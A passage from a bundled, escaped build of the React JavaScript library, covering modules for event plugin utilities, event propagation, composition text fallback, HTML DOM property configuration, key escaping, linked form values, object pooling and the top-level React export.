{SyntheticEvent} event\n * @return {boolean} True iff number of dispatches accumulated is greater than 0.\n */\nfunction hasDispatches(event) {\n  return !!event._dispatchListeners;\n}\n\n/**\n * General utilities that are useful in creating custom Event Plugins.\n */\nvar EventPluginUtils = {\n  isEndish: isEndish,\n  isMoveish: isMoveish,\n  isStartish: isStartish,\n\n  executeDirectDispatch: executeDirectDispatch,\n  executeDispatchesInOrder: executeDispatchesInOrder,\n  executeDispatchesInOrderStopAtTrue: executeDispatchesInOrderStopAtTrue,\n  hasDispatches: hasDispatches,\n\n  getInstanceFromNode: function (node) {\n    return ComponentTree.getInstanceFromNode(node);\n  },\n  getNodeFromInstance: function (node) {\n    return ComponentTree.getNodeFromInstance(node);\n  },\n  isAncestor: function (a, b) {\n    return TreeTraversal.isAncestor(a, b);\n  },\n  getLowestCommonAncestor: function (a, b) {\n    return TreeTraversal.getLowestCommonAncestor(a, b);\n  },\n  getParentInstance: function (inst) {\n    return TreeTraversal.getParentInstance(inst);\n  },\n  traverseTwoPhase: function (target, fn, arg) {\n    return TreeTraversal.traverseTwoPhase(target, fn, arg);\n  },\n  traverseEnterLeave: function (from, to, fn, argFrom, argTo) {\n    return TreeTraversal.traverseEnterLeave(from, to, fn, argFrom, argTo);\n  },\n\n  injection: injection\n};\n\nmodule.exports = EventPluginUtils;\n},{\"158\":158,\"16\":16,\"168\":168,\"65\":65}],20:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule EventPropagators\n */\n\n'use strict';\n\nvar EventConstants = _dereq_(16);\nvar EventPluginHub = _dereq_(17);\nvar EventPluginUtils = _dereq_(19);\n\nvar accumulateInto = _dereq_(114);\nvar forEachAccumulated = _dereq_(122);\nvar warning = _dereq_(168);\n\nvar PropagationPhases = EventConstants.PropagationPhases;\nvar getListener = EventPluginHub.getListener;\n\n/**\n * Some event types have a notion of different registration names for different\n * \"phases\" of propagation. This finds listeners by a given phase.\n */\nfunction listenerAtPhase(inst, event, propagationPhase) {\n  var registrationName = event.dispatchConfig.phasedRegistrationNames[propagationPhase];\n  return getListener(inst, registrationName);\n}\n\n/**\n * Tags a `SyntheticEvent` with dispatched listeners. Creating this function\n * here, allows us to not have to bind or create functions for each event.\n * Mutating the event's members allows us to not have to create a wrapping\n * \"dispatch\" object that pairs the event with the listener.\n */\nfunction accumulateDirectionalDispatches(inst, upwards, event) {\n  if (\"development\" !== 'production') {\n    \"development\" !== 'production' ? warning(inst, 'Dispatching inst must not be null') : void 0;\n  }\n  var phase = upwards ? PropagationPhases.bubbled : PropagationPhases.captured;\n  var listener = listenerAtPhase(inst, event, phase);\n  if (listener) {\n    event._dispatchListeners = accumulateInto(event._dispatchListeners, listener);\n    event._dispatchInstances = accumulateInto(event._dispatchInstances, inst);\n  }\n}\n\n/**\n * Collect dispatches (must be entirely collected before dispatching - see unit\n * tests). Lazily allocate the array to conserve memory.  We must loop through\n * each event and perform the traversal for each one. We cannot perform a\n * single traversal for the entire collection of events because each event may\n * have a different target.\n */\nfunction accumulateTwoPhaseDispatchesSingle(event) {\n  if (event && event.dispatchConfig.phasedRegistrationNames) {\n    EventPluginUtils.traverseTwoPhase(event._targetInst, accumulateDirectionalDispatches, event);\n  }\n}\n\n/**\n * Same as `accumulateTwoPhaseDispatchesSingle`, but skips over the targetID.\n */\nfunction accumulateTwoPhaseDispatchesSingleSkipTarget(event) {\n  if (event && event.dispatchConfig.phasedRegistrationNames) {\n    var targetInst = event._targetInst;\n    var parentInst = targetInst ? EventPluginUtils.getParentInstance(targetInst) : null;\n    EventPluginUtils.traverseTwoPhase(parentInst, accumulateDirectionalDispatches, event);\n  }\n}\n\n/**\n * Accumulates without regard to direction, does not look for phased\n * registration names. Same as `accumulateDirectDispatchesSingle` but without\n * requiring that the `dispatchMarker` be the same as the dispatched ID.\n */\nfunction accumulateDispatches(inst, ignoredDirection, event) {\n  if (event && event.dispatchConfig.registrationName) {\n    var registrationName = event.dispatchConfig.registrationName;\n    var listener = getListener(inst, registrationName);\n    if (listener) {\n      event._dispatchListeners = accumulateInto(event._dispatchListeners, listener);\n      event._dispatchInstances = accumulateInto(event._dispatchInstances, inst);\n    }\n  }\n}\n\n/**\n * Accumulates dispatches on an `SyntheticEvent`, but only for the\n * `dispatchMarker`.\n * @param {SyntheticEvent} event\n */\nfunction accumulateDirectDispatchesSingle(event) {\n  if (event && event.dispatchConfig.registrationName) {\n    accumulateDispatches(event._targetInst, null, event);\n  }\n}\n\nfunction accumulateTwoPhaseDispatches(events) {\n  forEachAccumulated(events, accumulateTwoPhaseDispatchesSingle);\n}\n\nfunction accumulateTwoPhaseDispatchesSkipTarget(events) {\n  forEachAccumulated(events, accumulateTwoPhaseDispatchesSingleSkipTarget);\n}\n\nfunction accumulateEnterLeaveDispatches(leave, enter, from, to) {\n  EventPluginUtils.traverseEnterLeave(from, to, accumulateDispatches, leave, enter);\n}\n\nfunction accumulateDirectDispatches(events) {\n  forEachAccumulated(events, accumulateDirectDispatchesSingle);\n}\n\n/**\n * A small set of propagation patterns, each of which will accept a small amount\n * of information, and generate a set of \"dispatch ready event objects\" - which\n * are sets of events that have already been annotated with a set of dispatched\n * listener functions/ids. The API is designed this way to discourage these\n * propagation strategies from actually executing the dispatches, since we\n * always want to collect the entire set of dispatches before executing event a\n * single one.\n *\n * @constructor EventPropagators\n */\nvar EventPropagators = {\n  accumulateTwoPhaseDispatches: accumulateTwoPhaseDispatches,\n  accumulateTwoPhaseDispatchesSkipTarget: accumulateTwoPhaseDispatchesSkipTarget,\n  accumulateDirectDispatches: accumulateDirectDispatches,\n  accumulateEnterLeaveDispatches: accumulateEnterLeaveDispatches\n};\n\nmodule.exports = EventPropagators;\n},{\"114\":114,\"122\":122,\"16\":16,\"168\":168,\"17\":17,\"19\":19}],21:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule FallbackCompositionState\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar PooledClass = _dereq_(25);\n\nvar getTextContentAccessor = _dereq_(130);\n\n/**\n * This helper class stores information about text content of a target node,\n * allowing comparison of content before and after a given event.\n *\n * Identify the node where selection currently begins, then observe\n * both its text content and its current position in the DOM. Since the\n * browser may natively replace the target node during composition, we can\n * use its position to find its replacement.\n *\n * @param {DOMEventTarget} root\n */\nfunction FallbackCompositionState(root) {\n  this._root = root;\n  this._startText = this.getText();\n  this._fallbackText = null;\n}\n\n_assign(FallbackCompositionState.prototype, {\n  destructor: function () {\n    this._root = null;\n    this._startText = null;\n    this._fallbackText = null;\n  },\n\n  /**\n   * Get current text of input.\n   *\n   * @return {string}\n   */\n  getText: function () {\n    if ('value' in this._root) {\n      return this._root.value;\n    }\n    return this._root[getTextContentAccessor()];\n  },\n\n  /**\n   * Determine the differing substring between the initially stored\n   * text content and the current content.\n   *\n   * @return {string}\n   */\n  getData: function () {\n    if (this._fallbackText) {\n      return this._fallbackText;\n    }\n\n    var start;\n    var startValue = this._startText;\n    var startLength = startValue.length;\n    var end;\n    var endValue = this.getText();\n    var endLength = endValue.length;\n\n    for (start = 0; start < startLength; start++) {\n      if (startValue[start] !== endValue[start]) {\n        break;\n      }\n    }\n\n    var minEnd = startLength - start;\n    for (end = 1; end <= minEnd; end++) {\n      if (startValue[startLength - end] !== endValue[endLength - end]) {\n        break;\n      }\n    }\n\n    var sliceTail = end > 1 ? 1 - end : undefined;\n    this._fallbackText = endValue.slice(start, sliceTail);\n    return this._fallbackText;\n  }\n});\n\nPooledClass.addPoolingTo(FallbackCompositionState);\n\nmodule.exports = FallbackCompositionState;\n},{\"130\":130,\"169\":169,\"25\":25}],22:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule HTMLDOMPropertyConfig\n */\n\n'use strict';\n\nvar DOMProperty = _dereq_(10);\n\nvar MUST_USE_PROPERTY = DOMProperty.injection.MUST_USE_PROPERTY;\nvar HAS_BOOLEAN_VALUE = DOMProperty.injection.HAS_BOOLEAN_VALUE;\nvar HAS_SIDE_EFFECTS = DOMProperty.injection.HAS_SIDE_EFFECTS;\nvar HAS_NUMERIC_VALUE = DOMProperty.injection.HAS_NUMERIC_VALUE;\nvar HAS_POSITIVE_NUMERIC_VALUE = DOMProperty.injection.HAS_POSITIVE_NUMERIC_VALUE;\nvar HAS_OVERLOADED_BOOLEAN_VALUE = DOMProperty.injection.HAS_OVERLOADED_BOOLEAN_VALUE;\n\nvar HTMLDOMPropertyConfig = {\n  isCustomAttribute: RegExp.prototype.test.bind(new RegExp('^(data|aria)-[' + DOMProperty.ATTRIBUTE_NAME_CHAR + ']*$')),\n  Properties: {\n    /**\n     * Standard Properties\n     */\n    accept: 0,\n    acceptCharset: 0,\n    accessKey: 0,\n    action: 0,\n    allowFullScreen: HAS_BOOLEAN_VALUE,\n    allowTransparency: 0,\n    alt: 0,\n    async: HAS_BOOLEAN_VALUE,\n    autoComplete: 0,\n    // autoFocus is polyfilled/normalized by AutoFocusUtils\n    // autoFocus: HAS_BOOLEAN_VALUE,\n    autoPlay: HAS_BOOLEAN_VALUE,\n    capture: HAS_BOOLEAN_VALUE,\n    cellPadding: 0,\n    cellSpacing: 0,\n    charSet: 0,\n    challenge: 0,\n    checked: MUST_USE_PROPERTY | HAS_BOOLEAN_VALUE,\n    cite: 0,\n    classID: 0,\n    className: 0,\n    cols: HAS_POSITIVE_NUMERIC_VALUE,\n    colSpan: 0,\n    content: 0,\n    contentEditable: 0,\n    contextMenu: 0,\n    controls: HAS_BOOLEAN_VALUE,\n    coords: 0,\n    crossOrigin: 0,\n    data: 0, // For `<object />` acts as `src`.\n    dateTime: 0,\n    'default': HAS_BOOLEAN_VALUE,\n    defer: HAS_BOOLEAN_VALUE,\n    dir: 0,\n    disabled: HAS_BOOLEAN_VALUE,\n    download: HAS_OVERLOADED_BOOLEAN_VALUE,\n    draggable: 0,\n    encType: 0,\n    form: 0,\n    formAction: 0,\n    formEncType: 0,\n    formMethod: 0,\n    formNoValidate: HAS_BOOLEAN_VALUE,\n    formTarget: 0,\n    frameBorder: 0,\n    headers: 0,\n    height: 0,\n    hidden: HAS_BOOLEAN_VALUE,\n    high: 0,\n    href: 0,\n    hrefLang: 0,\n    htmlFor: 0,\n    httpEquiv: 0,\n    icon: 0,\n    id: 0,\n    inputMode: 0,\n    integrity: 0,\n    is: 0,\n    keyParams: 0,\n    keyType: 0,\n    kind: 0,\n    label: 0,\n    lang: 0,\n    list: 0,\n    loop: HAS_BOOLEAN_VALUE,\n    low: 0,\n    manifest: 0,\n    marginHeight: 0,\n    marginWidth: 0,\n    max: 0,\n    maxLength: 0,\n    media: 0,\n    mediaGroup: 0,\n    method: 0,\n    min: 0,\n    minLength: 0,\n    // Caution; `option.selected` is not updated if `select.multiple` is\n    // disabled with `removeAttribute`.\n    multiple: MUST_USE_PROPERTY | HAS_BOOLEAN_VALUE,\n    muted: MUST_USE_PROPERTY | HAS_BOOLEAN_VALUE,\n    name: 0,\n    nonce: 0,\n    noValidate: HAS_BOOLEAN_VALUE,\n    open: HAS_BOOLEAN_VALUE,\n    optimum: 0,\n    pattern: 0,\n    placeholder: 0,\n    poster: 0,\n    preload: 0,\n    profile: 0,\n    radioGroup: 0,\n    readOnly: HAS_BOOLEAN_VALUE,\n    rel: 0,\n    required: HAS_BOOLEAN_VALUE,\n    reversed: HAS_BOOLEAN_VALUE,\n    role: 0,\n    rows: HAS_POSITIVE_NUMERIC_VALUE,\n    rowSpan: HAS_NUMERIC_VALUE,\n    sandbox: 0,\n    scope: 0,\n    scoped: HAS_BOOLEAN_VALUE,\n    scrolling: 0,\n    seamless: HAS_BOOLEAN_VALUE,\n    selected: MUST_USE_PROPERTY | HAS_BOOLEAN_VALUE,\n    shape: 0,\n    size: HAS_POSITIVE_NUMERIC_VALUE,\n    sizes: 0,\n    span: HAS_POSITIVE_NUMERIC_VALUE,\n    spellCheck: 0,\n    src: 0,\n    srcDoc: 0,\n    srcLang: 0,\n    srcSet: 0,\n    start: HAS_NUMERIC_VALUE,\n    step: 0,\n    style: 0,\n    summary: 0,\n    tabIndex: 0,\n    target: 0,\n    title: 0,\n    // Setting .type throws on non-<input> tags\n    type: 0,\n    useMap: 0,\n    value: MUST_USE_PROPERTY | HAS_SIDE_EFFECTS,\n    width: 0,\n    wmode: 0,\n    wrap: 0,\n\n    /**\n     * RDFa Properties\n     */\n    about: 0,\n    datatype: 0,\n    inlist: 0,\n    prefix: 0,\n    // property is also supported for OpenGraph in meta tags.\n    property: 0,\n    resource: 0,\n    'typeof': 0,\n    vocab: 0,\n\n    /**\n     * Non-standard Properties\n     */\n    // autoCapitalize and autoCorrect are supported in Mobile Safari for\n    // keyboard hints.\n    autoCapitalize: 0,\n    autoCorrect: 0,\n    // autoSave allows WebKit/Blink to persist values of input fields on page reloads\n    autoSave: 0,\n    // color is for Safari mask-icon link\n    color: 0,\n    // itemProp, itemScope, itemType are for\n    // Microdata support. See http://schema.org/docs/gs.html\n    itemProp: 0,\n    itemScope: HAS_BOOLEAN_VALUE,\n    itemType: 0,\n    // itemID and itemRef are for Microdata support as well but\n    // only specified in the WHATWG spec document. See\n    // https://html.spec.whatwg.org/multipage/microdata.html#microdata-dom-api\n    itemID: 0,\n    itemRef: 0,\n    // results show looking glass icon and recent searches on input\n    // search fields in WebKit/Blink\n    results: 0,\n    // IE-only attribute that specifies security restrictions on an iframe\n    // as an alternative to the sandbox attribute on IE<10\n    security: 0,\n    // IE-only attribute that controls focus behavior\n    unselectable: 0\n  },\n  DOMAttributeNames: {\n    acceptCharset: 'accept-charset',\n    className: 'class',\n    htmlFor: 'for',\n    httpEquiv: 'http-equiv'\n  },\n  DOMPropertyNames: {}\n};\n\nmodule.exports = HTMLDOMPropertyConfig;\n},{\"10\":10}],23:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule KeyEscapeUtils\n */\n\n'use strict';\n\n/**\n * Escape and wrap key so it is safe to use as a reactid\n *\n * @param {*} key to be escaped.\n * @return {string} the escaped key.\n */\n\nfunction escape(key) {\n  var escapeRegex = /[=:]/g;\n  var escaperLookup = {\n    '=': '=0',\n    ':': '=2'\n  };\n  var escapedString = ('' + key).replace(escapeRegex, function (match) {\n    return escaperLookup[match];\n  });\n\n  return '$' + escapedString;\n}\n\n/**\n * Unescape and unwrap key for human-readable display\n *\n * @param {string} key to unescape.\n * @return {string} the unescaped key.\n */\nfunction unescape(key) {\n  var unescapeRegex = /(=0|=2)/g;\n  var unescaperLookup = {\n    '=0': '=',\n    '=2': ':'\n  };\n  var keySubstring = key[0] === '.' && key[1] === '$' ? key.substring(2) : key.substring(1);\n\n  return ('' + keySubstring).replace(unescapeRegex, function (match) {\n    return unescaperLookup[match];\n  });\n}\n\nvar KeyEscapeUtils = {\n  escape: escape,\n  unescape: unescape\n};\n\nmodule.exports = KeyEscapeUtils;\n},{}],24:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule LinkedValueUtils\n */\n\n'use strict';\n\nvar ReactPropTypes = _dereq_(85);\nvar ReactPropTypeLocations = _dereq_(84);\n\nvar invariant = _dereq_(158);\nvar warning = _dereq_(168);\n\nvar hasReadOnlyValue = {\n  'button': true,\n  'checkbox': true,\n  'image': true,\n  'hidden': true,\n  'radio': true,\n  'reset': true,\n  'submit': true\n};\n\nfunction _assertSingleLink(inputProps) {\n  !(inputProps.checkedLink == null || inputProps.valueLink == null) ? \"development\" !== 'production' ? invariant(false, 'Cannot provide a checkedLink and a valueLink. If you want to use ' + 'checkedLink, you probably don\\'t want to use valueLink and vice versa.') : invariant(false) : void 0;\n}\nfunction _assertValueLink(inputProps) {\n  _assertSingleLink(inputProps);\n  !(inputProps.value == null && inputProps.onChange == null) ? \"development\" !== 'production' ? invariant(false, 'Cannot provide a valueLink and a value or onChange event. If you want ' + 'to use value or onChange, you probably don\\'t want to use valueLink.') : invariant(false) : void 0;\n}\n\nfunction _assertCheckedLink(inputProps) {\n  _assertSingleLink(inputProps);\n  !(inputProps.checked == null && inputProps.onChange == null) ? \"development\" !== 'production' ? invariant(false, 'Cannot provide a checkedLink and a checked property or onChange event. ' + 'If you want to use checked or onChange, you probably don\\'t want to ' + 'use checkedLink') : invariant(false) : void 0;\n}\n\nvar propTypes = {\n  value: function (props, propName, componentName) {\n    if (!props[propName] || hasReadOnlyValue[props.type] || props.onChange || props.readOnly || props.disabled) {\n      return null;\n    }\n    return new Error('You provided a `value` prop to a form field without an ' + '`onChange` handler. This will render a read-only field. If ' + 'the field should be mutable use `defaultValue`. Otherwise, ' + 'set either `onChange` or `readOnly`.');\n  },\n  checked: function (props, propName, componentName) {\n    if (!props[propName] || props.onChange || props.readOnly || props.disabled) {\n      return null;\n    }\n    return new Error('You provided a `checked` prop to a form field without an ' + '`onChange` handler. This will render a read-only field. If ' + 'the field should be mutable use `defaultChecked`. Otherwise, ' + 'set either `onChange` or `readOnly`.');\n  },\n  onChange: ReactPropTypes.func\n};\n\nvar loggedTypeFailures = {};\nfunction getDeclarationErrorAddendum(owner) {\n  if (owner) {\n    var name = owner.getName();\n    if (name) {\n      return ' Check the render method of `' + name + '`.';\n    }\n  }\n  return '';\n}\n\n/**\n * Provide a linked `value` attribute for controlled forms. You should not use\n * this outside of the ReactDOM controlled form components.\n */\nvar LinkedValueUtils = {\n  checkPropTypes: function (tagName, props, owner) {\n    for (var propName in propTypes) {\n      if (propTypes.hasOwnProperty(propName)) {\n        var error = propTypes[propName](props, propName, tagName, ReactPropTypeLocations.prop);\n      }\n      if (error instanceof Error && !(error.message in loggedTypeFailures)) {\n        // Only monitor this failure once because there tends to be a lot of the\n        // same error.\n        loggedTypeFailures[error.message] = true;\n\n        var addendum = getDeclarationErrorAddendum(owner);\n        \"development\" !== 'production' ? warning(false, 'Failed form propType: %s%s', error.message, addendum) : void 0;\n      }\n    }\n  },\n\n  /**\n   * @param {object} inputProps Props for form component\n   * @return {*} current value of the input either from value prop or link.\n   */\n  getValue: function (inputProps) {\n    if (inputProps.valueLink) {\n      _assertValueLink(inputProps);\n      return inputProps.valueLink.value;\n    }\n    return inputProps.value;\n  },\n\n  /**\n   * @param {object} inputProps Props for form component\n   * @return {*} current checked status of the input either from checked prop\n   *             or link.\n   */\n  getChecked: function (inputProps) {\n    if (inputProps.checkedLink) {\n      _assertCheckedLink(inputProps);\n      return inputProps.checkedLink.value;\n    }\n    return inputProps.checked;\n  },\n\n  /**\n   * @param {object} inputProps Props for form component\n   * @param {SyntheticEvent} event change event to handle\n   */\n  executeOnChange: function (inputProps, event) {\n    if (inputProps.valueLink) {\n      _assertValueLink(inputProps);\n      return inputProps.valueLink.requestChange(event.target.value);\n    } else if (inputProps.checkedLink) {\n      _assertCheckedLink(inputProps);\n      return inputProps.checkedLink.requestChange(event.target.checked);\n    } else if (inputProps.onChange) {\n      return inputProps.onChange.call(undefined, event);\n    }\n  }\n};\n\nmodule.exports = LinkedValueUtils;\n},{\"158\":158,\"168\":168,\"84\":84,\"85\":85}],25:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule PooledClass\n */\n\n'use strict';\n\nvar invariant = _dereq_(158);\n\n/**\n * Static poolers. Several custom versions for each potential number of\n * arguments. A completely generic pooler is easy to implement, but would\n * require accessing the `arguments` object. In each of these, `this` refers to\n * the Class itself, not an instance. If any others are needed, simply add them\n * here, or in their own files.\n */\nvar oneArgumentPooler = function (copyFieldsFrom) {\n  var Klass = this;\n  if (Klass.instancePool.length) {\n    var instance = Klass.instancePool.pop();\n    Klass.call(instance, copyFieldsFrom);\n    return instance;\n  } else {\n    return new Klass(copyFieldsFrom);\n  }\n};\n\nvar twoArgumentPooler = function (a1, a2) {\n  var Klass = this;\n  if (Klass.instancePool.length) {\n    var instance = Klass.instancePool.pop();\n    Klass.call(instance, a1, a2);\n    return instance;\n  } else {\n    return new Klass(a1, a2);\n  }\n};\n\nvar threeArgumentPooler = function (a1, a2, a3) {\n  var Klass = this;\n  if (Klass.instancePool.length) {\n    var instance = Klass.instancePool.pop();\n    Klass.call(instance, a1, a2, a3);\n    return instance;\n  } else {\n    return new Klass(a1, a2, a3);\n  }\n};\n\nvar fourArgumentPooler = function (a1, a2, a3, a4) {\n  var Klass = this;\n  if (Klass.instancePool.length) {\n    var instance = Klass.instancePool.pop();\n    Klass.call(instance, a1, a2, a3, a4);\n    return instance;\n  } else {\n    return new Klass(a1, a2, a3, a4);\n  }\n};\n\nvar fiveArgumentPooler = function (a1, a2, a3, a4, a5) {\n  var Klass = this;\n  if (Klass.instancePool.length) {\n    var instance = Klass.instancePool.pop();\n    Klass.call(instance, a1, a2, a3, a4, a5);\n    return instance;\n  } else {\n    return new Klass(a1, a2, a3, a4, a5);\n  }\n};\n\nvar standardReleaser = function (instance) {\n  var Klass = this;\n  !(instance instanceof Klass) ? \"development\" !== 'production' ? invariant(false, 'Trying to release an instance into a pool of a different type.') : invariant(false) : void 0;\n  instance.destructor();\n  if (Klass.instancePool.length < Klass.poolSize) {\n    Klass.instancePool.push(instance);\n  }\n};\n\nvar DEFAULT_POOL_SIZE = 10;\nvar DEFAULT_POOLER = oneArgumentPooler;\n\n/**\n * Augments `CopyConstructor` to be a poolable class, augmenting only the class\n * itself (statically) not adding any prototypical fields. Any CopyConstructor\n * you give this may have a `poolSize` property, and will look for a\n * prototypical `destructor` on instances (optional).\n *\n * @param {Function} CopyConstructor Constructor that can be used to reset.\n * @param {Function} pooler Customizable pooler.\n */\nvar addPoolingTo = function (CopyConstructor, pooler) {\n  var NewKlass = CopyConstructor;\n  NewKlass.instancePool = [];\n  NewKlass.getPooled = pooler || DEFAULT_POOLER;\n  if (!NewKlass.poolSize) {\n    NewKlass.poolSize = DEFAULT_POOL_SIZE;\n  }\n  NewKlass.release = standardReleaser;\n  return NewKlass;\n};\n\nvar PooledClass = {\n  addPoolingTo: addPoolingTo,\n  oneArgumentPooler: oneArgumentPooler,\n  twoArgumentPooler: twoArgumentPooler,\n  threeArgumentPooler: threeArgumentPooler,\n  fourArgumentPooler: fourArgumentPooler,\n  fiveArgumentPooler: fiveArgumentPooler\n};\n\nmodule.exports = PooledClass;\n},{\"158\":158}],26:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule React\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar ReactChildren = _dereq_(29);\nvar ReactComponent = _dereq_(31);\nvar ReactClass = _dereq_(30);\nvar ReactDOMFactories = _dereq_(44);\nvar ReactElement = _dereq_(62);\nvar ReactElementValidator = _dereq_(63);\nvar ReactPropTypes = _dereq_(85);\nvar ReactVersion = _dereq_(95);\n\nvar onlyChild = _dereq_(135);\nvar warning = _dereq_(168);\n\nvar createElement = ReactElement.createElement;\nvar createFactory = ReactElement.createFactory;\nvar cloneElement = ReactElement.cloneElement;\n\nif (\"development\" !== 'production') {\n  createElement = ReactElementValidator.createElement;\n  createFactory = ReactElementValidator.createFactory;\n  cloneElement = ReactElementValidator.cloneElement;\n}\n\nvar __spread = _assign;\n\nif (\"development\" !== 'production') {\n  var warned = false;\n  __spread = function () {\n    \"development\" !== 'production' ? warning(warned, 'React.__spread is deprecated and should not be used. Use ' + 'Object.assign directly or another helper function with similar ' + 'semantics. You may be seeing this warning due to your compiler. ' + 'See https://fb.me/react-spread-deprecation for more details.') : void 0;\n    warned = true;\n    return _assign.apply(null, arguments);\n  };\n}\n\nvar React = {\n\n  // Modern\n\n  Children: {\n    map: ReactChildren.map,\n    forEach: ReactChildren.forEach,\n    count: ReactChildren.count,\n    toArray: ReactChildren.toArray,\n    only: onlyChild\n  },\n\n  Component: ReactComponent,\n\n  createElement: createElement,\n  cloneElement: cloneElement,\n  isValidElement: ReactElement.isValidElement,\n\n  // Classic\n\n  PropTypes: ReactPropTypes,\n  createClass: ReactClass.createClass,\n  createFactory: createFactory,\n  createMixin: function (mixin) {\n    // Currently a noop. Will be used to validate and trace mixins.\n    return mixin;\n  },\n\n  // This looks DOM specific but these are actually isomorphic helpers\n  // since they are just generating DOM strings.\n  DOM: ReactDOMFactories,\n\n  version: ReactVersion,\n\n  // Deprecated hook for JSX spread, don't use this for anything.\n  __spread: __spread\n};\n\nmodule.exports = React;\n},{\"135\":135,\"168\":168,\"169\":169,\"29\":29,\"30\":30,\"31\":31,\"44\":44,\"62\":62,\"63\":63,\"85\":85,\"95\":95}],27:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactBrowserEventEmitter\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar EventConstants = _dereq_(16);\nvar EventPluginRegistry = _dereq_(18);\nvar ReactEventEmitterMixin = _dereq_(66);\nvar ViewportMetrics = _dereq_(113);\n\nvar getVendorPrefixedEventName = _dereq_(131);\nvar isEventSupported = _dereq_(133);\n\n/**\n * Summary of `ReactBrowserEventEmitter` event handling:\n *\n *  - Top-level delegation is used to trap most native browser events. This\n *    may only occur in the main thread and is the responsibility of\n *    ReactEventListener, which is injected and can therefore support pluggable\n *    event sources. This is the only work that occurs in the main thread.\n *\n *  - We normalize and de-duplicate events to account for browser quirks. This\n *    may be done in the worker thread.\n *\n *  - Forward these native events (with the associated top-level type used to\n *    trap it) to `EventPluginHub`, which in turn will ask plugins if they want\n *    to extract any synthetic events.\n *\n *  - The `EventPluginHub` will then process each event by annotating them with\n *    \"dispatches\", a sequence of listeners and IDs that care about that event.\n *\n *  - The `EventPluginHub` then dispatches the events.\n *\n * Overview of React and the event system:\n *\n * +------------+    .\n * |    DOM     |    .\n * +------------+    .\n *       |           .\n *       v           .\n * +------------+    .\n * | ReactEvent |    .\n * |  Listener  |    .\n * +------------+    .                         +-----------+\n *       |           .               +--------+|SimpleEvent|\n *       |           .               |         |Plugin     |\n * +-----|------+    .               v         +-----------+\n * |     |      |    .    +--------------+                    +------------+\n * |     +-----------.--->|EventPluginHub|                    |    Event   |\n * |            |    .    |              |     +-----------+  | Propagators|\n * | ReactEvent |    .    |              |     |TapEvent   |  |------------|\n * |  Emitter   |    .    |              |<---+|Plugin     |  |other plugin|\n * |            |    .    |              |     +-----------+  |  utilities |\n * |     +-----------.--->|              |                    +------------+\n * |     |      |    .    +--------------+\n * +-----|------+    .                ^        +-----------+\n *       |           .                |        |Enter/Leave|\n *       +           .                +-------+|Plugin     |\n * +-------------+   .                         +-----------+\n * | application |   .\n * |-------------|   .\n * |             |   .\n * |             |   .\n * +-------------+   .\n *                   .\n *    React Core     .  General Purpose Event Plugin System\n */\n\nvar hasEventPageXY;\nvar alreadyListeningTo = {};\nvar isMonitoringScrollValue = false;\nvar reactTopListenersCounter = 0;\n\n// For events like 'submit' which don't consistently bubble (which we trap at a\n// lower node than `document`), binding at `document` would cause duplicate\n// events so we don't include them here\nvar topEventMapping = {\n  topAbort: 'abort',\n  topAnimationEnd: getVendorPrefixedEventName('animationend') || 'animationend',\n  topAnimationIteration: getVendorPrefixedEventName('animationiteration') || 'animationiteration',\n  topAnimationStart: getVendorPrefixedEventName('animationstart') || 'animationstart',\n  topBlur: 'blur',\n  topCanPlay: 'canplay',\n  topCanPlayThrough: 'canplaythrough',\n  topChange: 'change',\n  topClick: 'click',\n  topCompositionEnd: 'compositionend',\n  topCompositionStart: 'compositionstart',\n  topCompositionUpdate: 'compositionupdate',\n  topContextMenu: 'contextmenu',\n  topCopy: 'copy',\n  topCut: 'cut',\n  topDoubleClick: 'dblclick',\n  topDrag: 'drag',\n  topDragEnd: 'dragend',\n  topDragEnter: 'dragenter',\n  topDragExit: 'dragexit',\n  topDragLeave: 'dragleave',\n  topDragOver: 'dragover',\n  topDragStart: 'dragstart',\n  topDrop: 'drop',\n  topDurationChange: 'durationchange',\n  topEmptied: 'emptied',\n  topEncrypted: 'encrypted',\n  topEnded: 'ended',\n  topError: 'error',\n  topFocus: 'focus',\n  topInput: 'input',\n  topKeyDown: 'keydown',\n  topKeyPress: 'keypress',\n  topKeyUp: 'keyup',\n  topLoadedData: 'loadeddata',\n  topLoadedMetadata: 'loadedmetadata',\n  topLoadStart: 'loadstart',\n  topMouseDown: 'mousedown',\n  topMouseMove: 'mousemove',\n  topMouseOut: 'mouseout',\n  topMouseOver: 'mouseover',\n  topMouseUp: 